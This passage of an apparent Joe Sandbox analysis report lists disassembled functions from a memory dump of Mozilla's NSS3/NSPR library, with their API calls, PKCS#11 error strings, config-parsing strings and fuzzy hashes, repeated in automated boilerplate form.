Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 29a81201947cf643ec3bc44d36bc7ce74ecef61bd95f9f258040ca1c9eae7eac
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 4D519D72E0021A8FCB18CF59C9819AEF3B2FF88314B19457DD815B7746E730A941CBA0

Function 6C71DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction ID: 6f89412660839bfbb2fb789833f2b616d51b3692c00dcaec851efb280ef3804c
Opcode Fuzzy Hash: b27f33e7783930e1b995bf9f3608068dfd0489f80754b5163547f6404060ed4a
Instruction Fuzzy Hash: F0F16A71A04209CFDB09CF19C594BAA77B2BF89318F294178E8199BB41CB35ED42CBD5

Function 6C6B1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 6348150f16bee34cbf3be623f1d5d1efa7281fe6ed4a8495cc3507542e481558
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 9CD16B32D086568BDB118E18C8843DA77A3AB85328F1D4329DD747B7C6C37BA926C7D4

Function 6C648EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction ID: 1622172d4f9a442df465402b08bf12ee4b63b1d0d06476e9604433c7a7e18970
Opcode Fuzzy Hash: 3b011004774ae4f64b7820e833c014aefd2f0e05aa79d2df4e1272aace504254
Instruction Fuzzy Hash: EE11E232A002198BD704CF15D884B9AB7A5BF4A358F04C2BAD805CFA61C375D882C7C9

Function 6C720C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction ID: 979fcc01a80d88852cbda04af60db50f49e0b067493dd87dd6010ba0e473dd42
Opcode Fuzzy Hash: b16a20dbcd1b67cf362bbdb215fbff8809e7d4820699392cf4426b80bb987e5a
Instruction Fuzzy Hash: 2311BFB46043058FCB00DF18C8946AA7BA5EF85368F148079D8198B701DB35E846CBA0

Function 6C693FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction ID: aaa21d302558c3844d7df4e51989134a7fd40b46e3c929224290d4ed7d5f5e7a
Opcode Fuzzy Hash: 0f4f4dfb92023a42fc6e7a27a79e4d5ed5acfaaa6a0ae9341d64be6dc3cc77b1
Instruction Fuzzy Hash: EDF03A70A0465D8BCB10DF69C55159EB7F8EF0E254B109629EC89AB301EB70AAD4C7D1

Function 6C720D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 73bb9faebba6c6434ab638d4f21b3fee4919f997bcf2fe20e68cc85889a39d4e
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 0CE0923A243058A7DB148E09C565AA97359DF81619FB4807DCC5D9FE01D737F90387A1

Function 6C64CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction ID: 5b601a91b7cd2a313a955e25909f9f71cfaa64f274997cbc46c2e2b6dcc15226
Opcode Fuzzy Hash: cd8ed1a5f317b962664189ed7dc48a6667c4dc93a4e7d7967595ea2aa61a208a
Instruction Fuzzy Hash: F9C04838244608CFC704DE08E499DA43BA8AB0961070400A4EA028B721DA21F800DA84

Function 6C681D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C681D46), ref: 6C682345

Strings

CKR_PIN_INVALID, xrefs: 6C682057
CKR_PIN_LOCKED, xrefs: 6C682075
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C681F0F
CKR_MUTEX_NOT_LOCKED, xrefs: 6C682225
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C682320
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C681F8B
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C682327
CKR_NEW_PIN_MODE, xrefs: 6C681E9F
rv = 0x%x, xrefs: 6C682312
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C681FD7
CKR_OK, xrefs: 6C681DFC
CKR_NEXT_OTP, xrefs: 6C68222F
CKR_DEVICE_ERROR, xrefs: 6C68229D
CKR_INFORMATION_SENSITIVE, xrefs: 6C6822B1
CKR_SAVED_STATE_INVALID, xrefs: 6C681E56
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6820D9
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C68227F
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C682179
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C682293, 6C68233F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C68204D
CKR_DEVICE_MEMORY, xrefs: 6C681FF3
rv = %s, xrefs: 6C682340
CKR_OPERATION_ACTIVE, xrefs: 6C6822B8
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C682015
CKR_FUNCTION_CANCELED, xrefs: 6C681E73
CKR_WRAPPED_KEY_INVALID, xrefs: 6C681FB5
CKR_PIN_INCORRECT, xrefs: 6C681D92
CKR_PIN_EXPIRED, xrefs: 6C68206B
CKR_MUTEX_BAD, xrefs: 6C681F49
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C68232E
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C682319
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C681DE0
CKR_RANDOM_NO_RNG, xrefs: 6C6822A7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C682275
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C681EE1
CKR_TOKEN_NOT_PRESENT, xrefs: 6C681F81
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C681F95
CKR_PIN_LEN_RANGE, xrefs: 6C682061
CKR_DEVICE_REMOVED, xrefs: 6C682261
CKR_BUFFER_TOO_SMALL, xrefs: 6C682183
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6822FF
CKR_FUNCTION_REJECTED, xrefs: 6C682289
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C68226B
CKR_SIGNATURE_INVALID, xrefs: 6C6820CF
CKR_STATE_UNSAVEABLE, xrefs: 6C682037
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C68218D
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C681F77

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction ID: da3b4e072807a8d919c8bdebd02ccf90b0503af9a225f782f82d2f8772114a3a
Opcode Fuzzy Hash: c5690aa5ac5e9a32df338c3d89e1c8e6817bbeb78ea90fa1f4ef57579c4423d9
Instruction Fuzzy Hash: B261112068F054C7E65C444CB2BE7AC2374BB07315F64823FE7968EE91D695CA8246BF

Function 6C6B5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6B5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6B5E5C
free.MOZGLUE(00000000), ref: 6C6B5E7E
free.MOZGLUE(00000000), ref: 6C6B5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6B5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6B5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6B5EF0
free.MOZGLUE(00000000), ref: 6C6B5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6B5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6B5F5B
free.MOZGLUE(00000000), ref: 6C6B5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6B5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6B5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B5FC4
free.MOZGLUE(00000000), ref: 6C6B5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B5FE9
free.MOZGLUE(00000000), ref: 6C6B5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6B605A
PR_smprintf.NSS3(6C78AAF9,00000000), ref: 6C6B606A
free.MOZGLUE(00000000), ref: 6C6B607C
free.MOZGLUE(00000000), ref: 6C6B609A
free.MOZGLUE(00000000), ref: 6C6B60B2
free.MOZGLUE(?), ref: 6C6B60CE

Strings

%s/%s, xrefs: 6C6B6055
flags, xrefs: 6C6B5E3A, 6C6B5EC6, 6C6B5F30
forceSecmodChoice, xrefs: 6C6B5F55
readOnly, xrefs: 6C6B5E56
secmod.db, xrefs: 6C6B5EA0
noModDB, xrefs: 6C6B5EEA
secmod=, xrefs: 6C6B5FB1
configDir=, xrefs: 6C6B5F9D
pkcs11.txt, xrefs: 6C6B5F47, 6C6B5F7C, 6C6B603A, 6C6B6053

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction ID: 8e4ce998018fdc3f5a0a9ee57da4532335ba39161a0b70aadb0a87b8375467fa
Opcode Fuzzy Hash: 2df1fed555c77b8d0b592adcc9dd07939acde645eb808863dd9b1c03eac38ebf
Instruction Fuzzy Hash: F6910BF0A042056BEB019F65DD45BEA3BA86F0634CF080060FD55B7B42E731D526CBAA

Function 6C641D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C641DA3

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C641DB2

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C641DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C641E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C641EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C641ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C641EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C641F17
